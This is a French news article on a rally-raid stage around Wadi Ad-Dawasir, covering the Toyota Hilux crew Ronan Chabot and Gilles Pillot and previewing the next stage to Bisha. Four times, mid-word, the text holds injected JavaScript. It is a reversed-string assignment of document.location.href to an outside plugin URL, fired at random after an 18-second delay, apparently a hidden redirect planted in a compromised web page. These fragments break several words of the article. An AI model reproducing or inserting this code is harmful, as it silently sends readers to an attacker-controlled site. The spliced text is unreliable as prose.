17e de l’étape, 24e au général

Étape 9 – Wadi Ad-Dawasir – Wadi Ad-Dawasir (490km, 287km de spéciale).

Ronan et Gilles n’ont pas eu à forcer pour être dans le match à l’issue de cette courte spéciale. Demain, la distance (759 km et 375 km de spéciale) sera plus conséquente et les rebondissements attendus plus nombreux.

Il y a des jours où toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout va bien au point que les mots manquent. D’autant plus que Ronan Chabot et Gilles Pillot, amateurs invétérés de rallye-raid, apprécient beaucoup les spéciales à rallonge. Les 287 km du jour autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour de Wadi Ad Dawasir avaient donc un goût de trop peu. « On était bien dans le rythme, on aurait pu rouler le double de kilomètres », s’amuse Ronan.

Forte vitesse et écarts réduits

Déjà confortablement installé dans la cabine aménagée de leur camion, isolé de l’agitation du bivouac et des nuages de sable et de poussière soulevés par les concurrents qui le traversent, le pilote est revenu sur cette journée. « Le début était très rapide, au cœur de paysages magnifiques. Ensuite, on a dû traverser un cordon de dunes, ce qui nous a réveillé avant une deuxième partie de spéciale très rapide ». Les panoramas, même traversés à grande vitesse, impriment la rétine, à l’image de ces grands monticules de sable dominés par des rochers creusés par le temps. « On y est passé vers midi. Le soleil était au zénith et on ne voyait plus le relief ».

La vitesse était telle, sur la piste, que les écarts sont forcément réduits, « on ne pouvait pas en faire » dixit Ronan. Partie 19e, la Toyota Hilux n°229 a franchi la ligne d’arrivée en signant le 17e temps, à 9 min 30 sec du vainqueur, leur coéquipier Giniel de Villiers. Ce qui a impressionné Ronan ? Le fait que la grande majorité des pilotes soient toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours en course et à une telle vitesse. « Il n’y avait aucune voiture arrêtée, ça montre à quel point le niveau et la fiabilité sont au rendez-vous. Il y a quelques années, on aurait mis presque deux fois plus de temps à finir ce genre de spéciale ». Ronan apprécie également d’« être dans le rythme » et dans « le bon wagon », position préférentielle pour demain.

Le cran de difficulté devrait néanmoins être un peu plus élevé pour la 9e étape, ce mercredi, entre Wadi Ad-Dawasir et Bisha. Au programme : un départ du bivouac aux aurores (6h15), 759 km dont 375 km de spéciale à parcourir, du sable (66%), de la terre (32%) et l’occasion, surtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout, de faire la différence face à leurs plus proches concurrents. De quoi pimenter la course et rester sur le même tempo avant d’envisager sereinement l’arrivée finale à Djeddah vendredi prochain.